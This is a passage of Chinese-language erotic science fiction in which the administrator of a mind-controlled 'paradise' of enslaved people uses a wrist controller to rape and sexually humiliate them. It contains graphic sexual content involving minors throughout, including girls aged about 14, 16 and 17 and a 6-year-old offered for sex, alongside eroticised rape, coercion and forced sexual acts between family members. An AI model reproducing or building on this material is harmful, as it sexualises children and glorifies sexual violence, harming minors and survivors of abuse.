新世界[科学幻想]

 


作者:a3232951               

                       第一章 乐园
  
      公元3050年,第三次世界大战终于爆发,战火在十五个月的时间里席
卷了全球,毁灭了大片的文明,只留下一片焦土。

  幸存下来的人们组成了世界政府,争取缔造新的和平。

  而首当其沖的,便是解决了战争的根源,欲望。

  对权力的欲望,对金钱的欲望,对异性的欲望。

  人类不可能是完美的,任何人的欲望都是伴随其一生的,懂得控制欲望的人,
被称作圣人,无法控制欲望的人,被称作败类。

  世界政府控制下的公民,一出生就根据DNA分组被规划好了将来,这种分
组是世界政府在战后五十年的时间里根据无数的经验和实验,终于研制成功的,
能够根据一个人DNA的排列,判断其将来的发展性,性格,以及最适合的行业,
担任的职位,甚至配偶都可以确定。

  并且人与人之间的关系更加融洽,每个人都能发挥自己最大的才能,得到最
适合自己的职位、环境、财富,而且,性爱已经成爲公民生活中的不可分割的一
部分,它对现如今社会的和谐发展起到了积极的促进作用。

  靠着DNA分组,人类平静地生活了一个多世纪的时间。

  而那些挑起第三次世界大战的罪人们,被封闭在一个以二十世纪末,二十一
世纪初爲蓝本制造的虚假的世界中,他们全部被洗脑,以爲这个世界便是真实的
世界,他们的大脑中被植入了芯片,以便于管理,他们的子孙后代也依然如此。

  这个封闭的区域被称之爲乐园。

  你问我爲什麽这麽做?

  这些罪人原本是要被处决掉的,但是当时的大总统高瞻远瞩,提出了这项功
在当代,利在千秋的伟大计划——乐园计划。

  世界政府複苏了一项已经被废止达数十个世纪的族群——奴隶。

  乐园本身便是一个盈利巨大的娱乐设施,前来娱乐的人络绎不绝,而一旦挑
选到喜欢的人,马上就可以办理简单的手续,将其带离乐园,成爲你的专属奴隶。

  而我,就是乐园的掌管者。

  这里是我的乐园。

  「请注意,您手腕上的控制器一定不能离身。」我向大总统的二公子详细的
介绍着在乐园中娱乐时应该注意的事项。

  「这样,乐园中的奴隶就无法伤害您。最后,也是最重要的一条,请不要引
起骚动,超大规模的修改记忆,会让乐园的中央电脑忙个不停,我们很有可能不
得不将乐园关闭一段间。」

  好在二公子冰雪聪明,带好控制器,就一溜烟的跑去享受了。

  上次大公子来的时候,将一个正在直播的综艺节目的漂亮女主持在舞台上强
奸了,虽然他带着控制器,而没有被周围的群衆,和沖上来的保安攻击,而是足
足被围观了两个小时,那个女主播也被他干的奄奄一息,这件事导致乐园关闭了
一个星期,才将和这个时间有关的所有知情人脑中的情报删改完毕。

  不管怎麽说,乐园虽然是个娱乐设施,但是目前正向着高消费高水平的层次
发展着,乐园内的民俗和流行的风潮也受到中央电脑的限制,一直处在十分闭塞,
十分保守的层面上。

  这无疑是有着巨大潜力的,试想,在性爱已经如此普及的当今社会,处女简
直就是比外星人更加稀少的东西,很多女性还没有成年,就已经失去了处女,而
她们第一次的对象,则大多是自己的家人,或者性爱实习课的指导教师。

  而这个充满了保守风潮的乐园,简直就成了载满珍馐美味的乐园。在中央电
脑的巧妙控制下,这里的奴隶们认爲性爱是只有在结婚之后才能够进行的,不然
就是肮髒的,堕落的。

  也因此,大多数的未婚女性都保持着处女之身,这对那些寻找新奇事物的高
官和大款们来说,无疑有着巨大的吸引力。

  随着乐园的发展,目前的乐园已经逐渐不对一般公民开放,一般的公民想要
得到奴隶也只能去商店街或者网上订购了。

  送走了我今天唯一的客户,设置好主电脑的程序,我离开了乐园的中央控制
室。

  乐园的工作人员只有我一个人,其他的都是靠着中央电脑的控制运作着,而
我,只是一个小小的员工,却有着无上的权利。

  漫步在乐园的街头,看着街道上川流不息的人群,我心情爲之一振。

  已经很久没有放松一下了,不如就去乐乐吧。

  我是个随性的人,没什麽固定的爱好,既不像那些脑满肠肥大腹便便的怪叔
叔们一样喜欢幼女,也不像那些长不大的富家子弟喜欢熟女,我则是随机的搜寻,
遇到看着顺眼的、能让我兴起欲望的,就选定。

  本来,这里的奴隶都是世界政府的财産,尤其是处女,更是天价的财産,每
个来乐园的游客都是由电脑跟蹤收费的,处女的价格高得离谱,很多资金不是雄
厚的游客,按倒了自己想上的女奴隶,分开大腿的时候才发现那片薄薄的薄膜,
只得灰溜溜的放过那个女奴隶,这样的好戏我不知道看过多少出了。

  如此贵重的财産,我自然是不敢贸然出手的,不过我只有一个人,看着这个
数千万平方公里的乐园,这点特权还是受到了默认的,就算我每天都干处女,乐
园中处女的整体基数也不会变,我甚至连其中的零头都解决不了,而我手腕上的
控制器就是拥有着乐园中最高权限,可以小面积的控制乐园内奴隶脑部的芯片,
而不必通过中央电脑。

  在繁华的街道上溜达着,我的目光在周围擦身而过的女性身上扫来扫去。

  因爲控制器的关系,周围的奴隶们都没有注意到我,自顾自的行走着。

  虽然在中央电脑的控制下,乐园的女性奴隶整体素质都很高,可是看的多了
还是会出现视觉疲劳。

  尤其是中央控制室附近的几个市区更是我居住得最久的地方,毕竟由于乐园
只有我一个人看管,光速列车并没有配置到所有的城市,所以我一般不会离开中
央控制室太远,以防止无法接待客人。

  唉,溜达了大半圈,还是没什麽收获,想想上次在欧美区找到的那个白人小
女孩,我抓着她金色长发,将鸡巴插进她喉咙的时候,她微微隆起的小胸部因爲
干呕剧烈的欺负,纤细的四肢拼命地挣扎着,感觉真是美妙。

  可是现在二公子现在还在乐园,如果我贸然离开,他来主控室找我就麻烦了。

  打定主意,我还是继续在街上溜达着,眼光继续在那些环肥燕瘦中挑剔地扫
视着。

  这时候,一辆红色的保时捷跑车停在了路边,一个穿着时尚,一头黑色长发
的年轻女性打开车门,从跑车里走了出来。

  这个女奴隶并不十分的漂亮,二十多岁的年纪,但却拥有着一副凹凸有致的
身材,胸前的双峰几乎裂衣而出,随着她的动作颤动不已。

  她的脸上却冷冰冰的,对于这条街道似乎没有一丝的好感,呈现着一种高高
在上的姿态,她在周围人火热的目光里走进了市中心最大的金店。

  我閑来无事,也跟了上去。

  金店大堂里,一对对的情侣们正挑选着心仪的饰品。她直接叫来了金店的经
理,挑选着金店保存的最昂贵的首饰。

  我坐在一边柜台边的椅子上,拉过身边一对情侣中的年轻女性,双手从她的
衣服下面伸进去,握住了她圆滚滚的乳房,肆意的揉捏着。

  因爲控制器的关系,我怀里的女性虽然有着被揉捏乳房的正常反应,但却如
同根本没有发现我的存在一般,娇喘着和他的男友亲亲我我的聊着天,而她的小
男友还在一枚枚的仔细观察着放在面前的戒指,并且时不时的回过头,问我怀里
的年轻的女性的意见。

  终于,小男友挑选出了满意的戒指,站起身,来到我们身边,无视她赤裸着
上身的女友正激情的和我接吻,丰满的小乳房在我手中变成各种形状,他拉起自
己女友的手,将戒指戴在女友的手上,询问着女友的意见,怀里的年轻女奴隶擡
起头激烈的喘息着,没有管嘴角流下的唾液,点了点头,甜甜的和自己的男朋友
说着情话。

  我拉下她的裙子,滚圆的小屁股被肉色的丝袜紧紧地包裹着,两腿间被黑色
内裤紧紧包裹的阴部黏稠的一塌糊涂,水渍已经流到了大腿上。

  她的小男友被她的情话忽悠得晕乎乎的,大方的答应帮她再挑选一条项链,
女奴隶满脸酡红,双眼迷离,在我的手指隔着丝袜和内裤接触她阴部的时候,浑
身一震,扬起白皙的脖颈,双腿绷紧,嘴里发出一声尖叫。

  敏感的小家伙,我呵呵一笑,撕开她的丝袜,拉开她的内裤,手指缓缓插入
了她的阴道。

  她的阴道很湿滑,而且很热,蠕动着紧紧裹着我的手指,我继续向前探索,
和预料的一样,触碰到了一片薄薄的薄膜。

  我没有戳破,只是轻轻的来回抽动,大拇指沾着淫水,慢慢地插进了她的肛
门,另一只手依旧揉捏着她的乳房,轻轻揪着乳头。

  伴随着我的进攻,女奴隶的浪叫声逐渐大了起来,淫水涟涟,一泻千里,达
到了高潮。狂流而出的淫水在地上形成了一个小小的水洼。

  小男友挑选了一条造型可爱的项链,来到我们身边,询问她的意见,恰巧我
将满是淫水的手指伸到她的嘴里搅动,她一边舔着我的手指,一边口齿不清的说
着喜欢,最喜欢你了之类的话。

  本来我的鸡巴已经硬了起来,正準备放下怀里坐在我腿上的女奴隶,掏出鸡
巴来先过过瘾的功夫,那个开着保时捷跑车的女奴隶已经选好了首饰走了过来。

  唉,爲了主菜只能先放弃开胃菜了。

  放开怀里的女奴隶,她无力的瘫坐在地上,嘴边还留着唾液,腰部一下一下
的抽搐着。

  小男友蹲下身子,将项链戴在女奴隶的脖子上,红着脸亲了女奴隶一下,女
奴隶呵呵的笑着,用沾满自己淫水的嘴巴亲吻着自己的男友,就那麽脖子上挂着
胸罩,膝盖上挂着内裤地和她的小男友沈浸在两人的幸福中。

  按了一下控制器,这里的事情,中央电脑会替我办妥,所有当事人的记忆都
会得到妥善的删改,我没有戳破那个女奴的处女膜,只需要几秒锺,就可以将刚
才的事情抹去,不会留下后顾之忧。

  跟着开着保时捷红色跑车的女性来到她的跑车边,跟着她上了她的跑车,她
丝毫没有一丝的差异,仿佛我并不存在一般的啓动了跑车。

  其实我大可以在一开始发现她的时候就把她就地正法,直接把她按在金店大
堂的柜台上操她,但是这麽做太没情调了,正餐,一定要好好吃才对。

  在保时捷跑车上,我没有对她动手动脚的,毕竟,我可不想死于车祸。

  她取的首饰随意的丢在跑车的后座上,我回过身翻了翻,那些饰品奢华的程
度足以让一般的奴隶们爲之疯狂,可是她却似乎根本不在意。

  「去哪啊?」我问她。

  她自言自语地说:「去公司。」

  「你应该回家。」

  她歎了口气,好像很疲惫似的活动了下肩膀,然后拿出手机打了个电话:
「小刘,我不回公司了,我累了,对,样品在我这,明天我再带到公司去。」

  「回家去,好好睡一觉。」她念叨着,调转了车头。

  我点击了一下控制器上的按钮,我面前一个只有我看得见的屏幕无声的打开。

  我将控制器在她的头部附近一扫,面前的屏幕上马上出现了识别码。并且罗
列了她的资料:

  奴隶识别码:FUJG259880004122
          陈丽娟
            女
        22岁
         168CM49KG
                    飞马设计公司设计总监。
  家庭成员:父 陈海涛   JGIK25920004141
       母 王红      KHT45802248963

  性取向正常。性冷淡。处女。

  性冷淡?有点意思。

  我坐在副驾驶的位子上看了看身边这个惹火的美人,那凹凸有致的身材正撩
拨着我的神经。

  等下有得你享受的,我的小美人,我强迫自己移开自己的目光,编织着接下
来的好戏。有的时候,免费的玩多了,就需要点刺激的。

  车子慢慢的开进了富豪小区,停近了一栋别墅的车库。

  我跟着她走进了别墅,她一进门就脱下了鞋子和外套,穿着拖鞋直奔浴室,
準备舒舒服服的洗个热水澡,却不知道,我的剧本的大幕已经徐徐拉开。

  我脱掉身上的衣服,让这些碍事的布片不再束缚我的身体,赤裸着身体跟着
她。

  陈丽娟刚拉开浴室的大门,一阵让人脸红心跳的销魂叫声就传了出来。

  「…叔叔,您…舒服吗…小雨…的骚逼…舒服…嘛?」

  「…干死你,干死你,…叫你老公骂我…干死你这个骚货……」

  「小雨真乖啊,恩,叔叔舒服死了,小雨的骚逼真舒服…」

  「…恩…啊…干死我这个骚货吧,…小张…用力…干我…我是骚货…」

  只见她的父亲正舒服的泡在热水里,一个年纪只有十六七岁的小女孩正坐在
陈海涛胯间,双手扶着陈海涛的胸口,小屁股卖力的起伏着。而她的母亲陈红则
跪在一边,撅着屁股,舔舐着陈海涛和小女孩相结合的地方,她的屁股后面一个
壮年的小伙子正疯狂地操着,青筋暴起的鸡巴快速的出入陈红红褐色的阴唇。

  我想陈丽娟看到这样的场景一定会惊讶得说不出话来吧,而且这两个人她应
该都认识,那个年轻的小女孩,是她家邻居的女儿,平时文静的很,和别人说个
话也会脸红,此刻却在主动的用自己的阴道套弄着陈丽娟父亲黑红的大鸡巴。

  那个年轻人是陈丽娟父亲的司机,平日里保守他父亲的欺淩,今天却搂住王
红的屁股疯狂地操干着。

  这麽一副画面,虽然在外面的社会是稀松平常的,但在乐园里还是很有趣的
吧?

  陈丽娟站在原地惊呆了,站在她身边我都听得见她清晰的心跳声,几秒锺后,
她身子一歪,瘫坐在地上。

  王红似乎发现了自己的女儿的到来,丝毫不顾及自己的的现状,慢慢地向陈
丽娟手脚并用的爬来,她的身后,那个年轻的司机也跟着她的速度,一边向前走,
一边继续挺动着自己的腰部。

  看着自己的母亲被家里的司机搂着屁股疯狂地抽插,还一脸沈迷,一边发出
浪叫,一边向自己爬来,陈丽娟几乎要疯了,这哪里还有她母亲端庄贤淑的样子?
她长大了嘴,却发不出任何声音。

  「丽娟……回来了…怎麽样?啊…好大……工作…恩…辛苦不?」王红终于
爬到了陈丽娟面前,承受着身后司机小张疯狂的沖刺,伸出一只沾满了淫水的手
掌抚摸着陈丽娟的秀发,呼吸急促的问。

  「啊,…陈…陈姐……姐!」小雨转过头,满是汗珠的小脸上全是骚媚的风
情,看到陈丽娟高兴地叫道,扭动着小屁股的速度都加快了几分:「陈姐姐…啊
…陈叔叔…的…好大……啊啊…小雨好…舒服…要…要到了啊啊啊啊」

  到达高潮的小雨就像断了线的木偶,无力的瘫倒在陈海涛凸起的啤酒肚上。

  「哦,丽娟回来了啊,恩…真紧…小雨来玩了哦。」陈海涛托着小雨的屁股
起身出了浴缸,一边继续抽插一边走了过来。

  原本因爲高潮失神的小雨晃动了两下上半身,忙用双手搂住住了陈海涛的脖
子,两双白嫩的小腿挣扎着想勾住着陈海涛的腰,却因爲陈海涛肥胖的腰身无论
如何也无法得逞,只得用力的夹着陈海涛满是肥肉的腰,小嘴里声嘶力竭的叫着。

  「小姐……恩…恩……您…回来了……我…我要射了!」小张也向陈丽娟打
招呼。

  伴随着小张充满野性的喊叫,一股股的精液射进了陈红的子宫,陈红尖叫着
翻起了白眼,瘫倒在地上,撅起肥大的屁股,腰部一下一下的痉挛着,小张拔出
鸡巴一下瘫坐在地上。

  小张的鸡巴才一拔出来,大股的白色精液就从王红的阴道里流了出来,分量
十足。

  「没用的东西…恩…小雨的骚逼…水真多…才射了四次…就不行了…?」陈
海涛白了一眼小张,托着小雨的屁股一上一下的快速耸动着。

  「你们,你们知道自己在干什麽嘛?」陈丽娟背靠着浴室的门尖叫道。

  「丽娟…恩…你怎麽了?」

  「陈姐姐…啊…啊啊,又要到了…陈姐姐今天…怎麽…啊啊…怪怪的?」

  「小姐,你没事吧?」

  陈丽娟急促的呼吸,空气中淫靡的味道被她吸入了不少,她震惊之余感觉到
脸上十分的燥热,胯下两腿之间甚至産生了一丝热流。

  但一瞬间她觉得那是十分之肮髒的,她手脚并用的想爬出浴室,却跌倒了,
她回过头,只看见趴在地上撅着屁股的王红正拉着她的脚踝。

  「丽娟,你怎麽了,这有什麽奇怪的?上周末你爸爸去你的公司看你,不是
还在你的介绍下顺便操过你的秘书小刘了嘛。」王红趴在地上,肥硕的乳房在身
下的瓷砖上被挤压成各种形状:「你都这麽大了,既不让你爸爸操,也没被别人
操过,妈妈可是很担心啊。」

  「是啊…哦…你妈妈…可是…很担心的…不如…今天就让…爸爸操你吧…哦
哦,小雨…叔叔要射了…」

  「啊啊啊啊…射进来了,叔叔…的…精液…射进来了!!」小雨在陈海涛滚
烫的精液的刺激下再次达到了高潮,全身剧烈的痉挛,最后竟翻起了白眼。

  在衆人目光的注释下,陈丽娟一阵的眩晕,倒了下去。
                         第二章 玩乐      

    看到陈丽娟晕了过去,我知道自己今天有点玩大了,操一个没有反应的女人
一点意思都没有。

  爲了导演这出戏,我动用了四个奴隶,却将故事的主角吓晕了,不过好在没
有使用处女,不然得不偿失,那个小雨,在十四岁的时候就不是处女了,他的父
亲是她的第一个男人。

  偷偷的倒卖奴隶这种事情我不是没干过,不过当然不是爲了钱,在乐园,我
是一个近乎于神的存在,钱对于我来说是没有意义的,但我可以换取各种好处,
各种钱买不到的好处。

  一旁的四个人如同静止了画面的电影,呆呆的站在原地。

  「你们两个把自己清理干净,你们两个带她到楼上来。」我说着就自顾自的
上了楼。

  不一会,陈海涛和小张两个赤身裸体的男人就架着昏迷不醒衣衫不整的陈丽
娟来到了楼上。

  在我的授意下,他们将陈丽娟放倒在巨大的双人床上后,就站到了一边。

  两三分锺之后,两个女人也清理好了自己,都洗得白白净净的光着身子来到
了楼上。

  「该干嘛干嘛去。」我告诉两个男人,他们好像一下子清醒了,揉了揉眼睛,
下楼穿衣服去了。

  两个女人也恢複了神智,光着身子坐在床边开心的聊天。

  我拉过王红,让她坐在我怀里,仔细的打量着这个女人,虽然她已经四十三
岁了,但是富豪太太良好的保养让她拥有着二十八九岁女性的外表,硕大的乳房,
肥厚的屁股。陈丽娟的爆乳应该就遗传自她,我抓住他丰满的胸部用力的揉捏着,
不一会她的呼吸就开始急促了起来。

  一边的小雨对此熟视无睹,继续自顾自的说着:「原来阿姨年轻的时候那麽
多人追求阿姨啊?」

  「是啊…那个时候阿姨是学校学生会的,而你叔叔呢,是四班的班长…啊啊
…」我把手指插进王红的阴道,用力的搅动,因爲干涩,她痛苦的惊叫出声,但
还是继续着自己的故事:「然后…啊啊…你叔叔…哎呦…有一次偷偷的…好疼啊
…啊…」

  我抽出插在王红阴道里的手,看来她还是清理的很干净的,至少里面没有任
何残留的精液和淫水。

  我把她按倒在小雨身边,让她双手扶着小雨的肩膀,撅起屁股,握着勃起的
鸡巴对着王红的阴道大力的插了进去。

  缺少淫水的润滑,我的抽插干涩的很,王红也大声的喊疼,拼命地摇晃着脑
袋,胸前肥硕的乳房来回摆动,带起阵阵乳波,双腿一阵的颤抖,如果不是扶着
小雨,她早就栽倒在地上了。

  才一插入,我就发现王红是个宝贝,就在刚才还被小张操的死去活来的,在
阴道里射了四次,可是现在她的阴道却还是十分的紧致,丝毫没有松垮,紧紧地
包围着我的鸡巴,就算是处女也不须多让。

  我慢慢地加大抽插的力度,王红的屁股撞在我的小腹上啪啪作响,我还时不
时的拍打着她肥硕的屁股。

  王红的阴道里开始分泌出淫水,淫水起到了润滑的作用,我的抽插更加的顺
利,王红叶丛一开始拼命很疼变成了声嘶力竭的浪叫,全然无法回答小雨的问题。

  「阿姨,阿姨,说啊,说啊,你和叔叔第一次约会时候的事情。」小雨撒娇
地问。

  「要裂开了…啊啊啊…我要疯了…那…那时候…哎呦…」王红早就已经组织
不出合适的语言,我感觉到她浑身突然的绷紧了,同时阴道剧烈的收缩,阴道深
处一股激流沖击着我的龟头,让我几乎射精。

  我收敛心神,拔出插在王红两片红褐色肥厚阴唇间的鸡巴,王红翻着白眼跪
倒在了地上,舌头都神了出来,那张风骚美丽的脸上眼泪口水混成一团。

  一天之内接连被操晕过去好几次,真是难爲这个熟妇了,搞不好未来相当长
一段时间她会下不了床吧?

  看着已经不堪再操的王红,我将目光转向了小雨。

  「换个口味吧。」我自言自语着,按下了按钮。

  小雨眨了眨眼,恢複了神智。

  「陈阿姨,你怎麽不接着说了,我还想接着听你年轻时候的故事呢。」小雨
笑呵呵的说,却只看见地上被我操到失去意识的王红,同时她也意识到自己是裸
体的,一声尖叫从床上跳起,用双手遮挡着自己的小乳房和阴部,往们的方向跑
去。

  我一把拉住她,将她拦腰抱起,扔在卧室双人床上,和陈丽娟并排躺在床上。

  她拼命地挣扎,但是由于控制器的原因,无论是抓挠和踢打,在接触到我身
体的时候,只变成了轻轻的接触,丝毫没有一丝力道。

  我压在她身上,轻轻的揉着她尚未发育完全的乳房。

  「放开我,放开我!」她扭动着身体想躲避我在她身上游走的双手。

  我一只手轻轻抚弄着她腿间那颗细小的阴蒂,我感觉到接触的一瞬间她剧烈
的颤抖了一下。

  「可以啊,放过你的话…」她听到可以放过她,连忙说:「只要你放过我,
我什麽都答应你。」

  「恩,放过你的话,我就要去操你的陈阿姨和陈姐姐了哦?」

  她一瞬间无所适从,我趁她愣神的时候,分开她的双腿,用手指分开她的阴
唇,将勃起的鸡巴在直接插进了她的阴道。

  小女孩的阴道很紧,虽然已经不是处女了,但依然紧得我的鸡巴有点发疼,
我来回费力的抽插着,小雨的喊叫声也越发的尖利。

  「快拔出去,好疼,好疼!」

  「去舔你陈姐姐的骚逼,不然我就操死你!」我声色俱厉的说道,同时大力
的抽插了几下。

  知道我厉害的小雨爬到陈丽娟身边,撩起她的短裙,伸出舌头隔着丝袜和内
裤舔着陈丽娟的两腿之间。

  「谁叫你隔着丝袜舔了,给我直接舔!」我大力的打了小雨的屁股一下,又
用力的抽插了几下,小雨的阴道已经逐渐分泌了一些淫水来保护阴道壁,我的抽
插不单没让他感觉到痛苦,反倒愉快地哼了几声。

  不过她还是赶紧拉下了陈丽娟的丝袜和内裤,将头埋在陈丽娟胯间卖力的用
舌头舔舐着。

  我也在她身后大开大合的抽插起来,不过很快就发现大量的快感让小雨有消
极怠工的表现,她趴在陈丽娟的胯下张着小嘴随着我的抽插哼哼唧唧的叫唤着,
完全忘记了自己被赋予的任务。

  我抽出插在她阴道里的鸡巴,抹了点淫水在她的肛门上,在她回过头疑惑地
看着我的时候,我大力的贯穿了她的肛门。

  「疼死了,疼死了,你插错地方了!」随着我的抽插,小雨哭叫起来,我有
拍了拍她的小屁股:「这是对你停下来的惩罚!」

  她不敢怠慢,忙低下头使出浑身解数拼命地舔着陈丽娟的骚逼。

  陈丽娟悠悠的醒来了,她一醒来就感到有一个温热柔软的东西正在来回的刮
着她的阴唇和阴蒂,让她浑身火热难耐,同时,感觉身体躺着的地方摇晃的厉害,
满耳都是小雨带着惨叫的呻吟声。

  她终于醒来了,我一边加大了操干小雨肛门的速度,小雨撕裂的肛门渗出的
血丝顺着我暴怒的鸡巴慢慢的留下,小雨尖叫着达到了极度痛苦中的高潮,我有
意施爲地将小雨抱起来,她阴道里喷溅而出的阴精溅了陈丽娟一脸。

  陈丽娟一边用衣袖擦着脸上的淫水一边惊恐地坐了起来。

  「你是谁?想干什麽?」

  「呃,说实话,除了你,我什麽都不想干。」我被自己的冷笑话都笑了,放
下怀里的小雨,挺着坚硬的鸡巴大声宣言到:「我是来矫正你性冷淡的错误的。」

  「你这混蛋。」她忽然间变了脸,抓起床头的烟灰缸照着我的鸡巴就像砸过
来,不过好在控制器的作用下,她的手停在了半空中,无法将烟灰缸扔出或者砸
下。

  「现在闹得越凶,一会叫的越响。」这是我自己总结的理论,在被操之前闹
得越厉害的女人,再被操的时候浪叫的越畅快。

  她脑筋动的很快,发现自己的异常和无法伤害我之后,就想要从房间逃走,
不过我一点都不担心,因爲她刚跑出门,就被楼下的小张和陈海涛架了回来。

  扔下陈丽娟,关上了房门。

  「你到底是什麽人,他们怎麽了?」陈丽娟发现了倒在床边角落的王红,颤
抖着问。

  「这些都不重要,我想操你,只要操过你,这一切都会恢複原状,快点吧,
都过了晚餐的时间了,我都饿了。」我开始有点受不了她的长篇大论了,从来没
有这麽费劲过,我是不是哪根筋搭错了,那个女人我不是说上就上,想怎麽操怎
麽操,今天怎麽忽然对这个女人下不去手了?

  想到这里,我狠了狠心,说:「你要是不让我操,我就继续操你老妈还有小
雨,当然,也可以叫你老爸和小张玩个同性恋什麽的。」

  气极的陈丽娟浑身颤抖,她意识到自己已经别无选择。

  「和我做过之后,你就会离开?」她做着最后的确认。

  「没错,相信你已经见识到我的手段了,我可以让这一切变成没有发生过。」

  她深吸了一口气,缓缓地点了点头「好吧,我答应你。」

  无聊,不知爲何,我突然觉得十分的无聊。

  我是这个乐园的管理者,唯一知道乐园真相的人,这些乐园中的奴隶都过着
自认爲逍遥自在的认字,殊不知他们的行爲和思想都是可以受到操作的。我是高
于他们的存在。

  而如今我却如同一个无赖一般威胁一个女人,要跟她上床。

  无聊,极度的无聊。

  「我改变主意了。」我坐在床边,伸手拉过小雨,抚摸着她稚嫩的肌肤。

  「你…有什麽你沖我来!」陈丽娟对我大声的吼着,她本想拉开我在小雨身
上游走的手,却因爲控制器的关系无法得逞。

  「我说了,我改变主意了。」怀里的小雨已经娇喘涟涟,我踢了踢脚边趴着
的王红,她慢慢的站了起来,两腿间的骚逼里,淫水正顺着大腿慢慢留下来。

  「妈!你怎麽了,妈!」陈丽娟沖上去摇晃王红的肩膀,王红完全无动于衷,
走到我面前跪倒在我两腿间,伸出小舌头轻轻的舔着我的鸡巴。

  「妈,别这样!你快醒醒!」陈丽娟痛哭着想拉开王红,却几次都没得逞,
王红舔了一会儿我的鸡巴,就把鸡巴插进了嘴里,脑袋一上一下的动了起来。

  我松开一只正在揉捏小雨屁股的手,抓住王红的头发,将她的头用力的按向
我的鸡巴,让我的鸡巴插到了她的喉咙。

  「你放开我妈!有什麽沖我来!」陈丽娟疯子一般扑上来拼命的厮打,可到
了我身上,就已经完全没有力量了。

  我没有理她,继续抓着她母亲的头做着深喉运动,感受着王红口腔的温暖和
喉咙的紧致。

  「到底怎麽样你才能放过她们?」陈丽娟披头散发的站在那里,喘着粗气。

  「你还是不够聪明。」我自言自语到,拍拍王红的脸颊,她将我的鸡巴从喉
咙里抽出来,哧溜哧溜的使劲吸了两下,就转过身,撅起屁股,双手掰着两片肥
厚的臀肉,露出中央红褐色的菊花,抵在我的鸡巴上研磨着。

  「求求你了,我做你的奴隶,性奴,让我干什麽都行,放过她们吧。」陈丽
娟撕扯着自己的衣服光着身子跪倒在我脚边,用脸颊蹭着我的脚。

  「那你就学学第一课吧。」

  她疑惑的擡起头,只见到自己的母亲将我的鸡巴一点一点的插进自己的肛门
里,并且快速的起伏着。

  「你答应我的!」她坐在地上大声喊着,嗓子都喊哑了。

  「奴隶的第一课,服从主人,不得对主人的决定做出异议。」

  陈丽娟哭泣着趴倒在地上,白皙的皮肤和卧室深红色的地毯産生了强烈的对
比,我産生了一丝病态的快感,女儿拜倒在我脚下,母亲在我身上起伏,用肛门
服侍着我的鸡巴。

  快感成波的汹涌而来,我感觉到自己要射了,就让王红将我的鸡巴拔出来,
跪在我的两腿间,深深的套弄着,不一会,我就射精了。

  许久没有和女人上床的我的精液激烈地射进了王红的口腔。

  王红用嘴唇紧紧地裹着我的鸡巴,慢慢的将软化的鸡巴从嘴里拔出,鸡巴上
的精液都被他留在了嘴里。

  她则跪在我的脚边张开嘴,用舌头搅动着嘴里的精液。

  「你妈口交的功夫真不错,没少被你老爸开发吧?」

  陈丽娟跪在地上只顾呜呜的哭,对于我的羞辱完全无动于衷。

  放开了手里的小雨,走出了门。

  在一楼,在小雨的服侍下我正穿着衣服,小雨光着纤细的身子,丝毫不顾忌
两腿间留下的淫水,胸前还未发育完全的的小胸部都是青紫的痕迹。

  二楼的房间里传来一声陈丽娟的尖叫。

  不多时,就见王红拉着女儿赤裸着走下楼来,陈丽君脸上红一阵白一阵的,
一阵阵的干呕,却都被王红堵住嘴巴,吐不出来。

  「那玩意蛋白质高着呢,多吃点对你有好处。」我抽出在小雨阴道里抽插的
手指,在陈丽娟的长发上擦着手:「你妈应该就是经常大量的吃精液,才保养得
这麽好的。」

  「你无耻!」陈丽娟颤抖着指着我骂道。

  「多谢你的赞美。」我转身穿上鞋,身后的万红再次拉住陈丽娟将嘴里的精
液一点点的松紧女儿的嘴里。

  陈丽娟呜呜的挣扎中,我推开了别墅的大门。

  给陈丽娟的母亲王红输入好指令,悠哉的走在大街上,忽然面前闪出一个窗
口。

  是二公子。

  「怎麽样,二公子,您在乐园玩的还开心吗?」对着窗口中二公子的笑脸,
我寒暄道。

  「开心开心。」二公子的脸上简直就要笑出花了,一个劲的夸奖我将乐园治
理得如此之好,实在是功不可没,回去一定跟他父亲夸奖夸奖我。

  「二公子严重了,属下只是尽自己的本分。」

  「呵呵,你真会说话。」

  「多谢二公子夸奖。」我对自己的献媚嘴脸都要吐了,不过人在屋檐下不得
不低头啊。

  「是这样,我看中了一个奴隶,已经调教好了,想要带走,不过,也惹了点
麻烦……」

  果然,事情没那麽简单。

  「属下马上处理。」

  关闭了面前的窗口我通过控制器联通了中央电脑,让中央电脑调出一切有关
二公子的监控录像,和相关资料,涉及到的奴隶名单。

  我现在是在市中心的马路上,总不能站在道边处理公务吧?记得附近有个不
错的咖啡厅来着。

  推开咖啡厅的们,就看见咖啡厅的老板正在吧台后面擦着陶瓷的咖啡杯。

  老板是个四十多岁的中年人,留着一撇山羊胡,国字脸,块头很大。不过她
的女儿却张得娇小可爱。

  我来到咖啡店,发现店里的人并不多,只有三三两两的情侣在喝着咖啡吃着
蛋糕。

  我挑选了咖啡店里的情侣座位,坐在真皮沙发上,我伸了伸要,靠在了沙发
柔软的靠背上。

  「请问先生你要点些什麽呢?」老板的女儿穿着一身可爱的女仆装系着洁白
的围裙笑容可掬的问,看着短裙下那两条被黑色丝袜紧紧包裹着的修长美腿,我
再次感慨自己的眼光不俗。

  这里已经不是我第一次来了,我扫了一眼老板女儿的资料:

  ELFO29645600486125

  张可欣

  女

  16岁

  第一高中一年二班学生,学生编号021

  非处女

  性交人数:1
    不用说,是我给开的苞,并且设置了程序,让她不能给别的人操,毕竟,这
个咖啡馆我是时常来的,怎麽能让给别人享受呢。

  张可欣的发育不错,前凸后翘,皮肤白皙,黑色的长发直垂在腰间,像个瓷
娃娃一样可爱。她是第一高中的校花,清纯可爱,追求者很多。

  「来一杯咖啡,一份口交,一份性交。」

  「好的。」她没有丝毫的忧郁,在便条本上写好我点的东西,补充道:「请
问您要指定口交的人选吗?」

  呵呵,指令的自我进化也是挺好玩的,人类的大脑真是神奇啊,即使是奴隶
亦然,只要你在大方向上设置一条指令,被设置指令的人就会自己将这个质量合
理化爲她能接受的理由,并且还会进化。

  看着我若有所思,张可欣推荐到「您可以根据您的喜好来选择,目前本店提
供性服务的一共有五名,一名是我,一名是我的母亲三十九岁,来做客的我的姑
姑三十七岁,还我姑姑的大女儿今年十七岁,小女儿六岁。」

  「今天运气真好啊,从熟妇到萝莉都有。」

  「恩,请问您想选择哪一位爲您服务呢?」

  「就选你把。」我说着把菜单交还给张可欣,张可欣说了句请稍等,就跑向
吧台。

  那麽,让我看看二公子到底惹了什麽麻烦吧?
                                      第三章麻烦

  一杯咖啡被轻轻放到我的桌面上。女孩轻轻的蹲在我胯下,熟练地打开拉链,
白皙的小手轻轻的拉出了我的鸡巴。

  她呼出的热气喷在我的鸡巴上,在她柔软的小手中,我的鸡巴逐渐勃起,抵
在了她薄薄的嘴唇上。

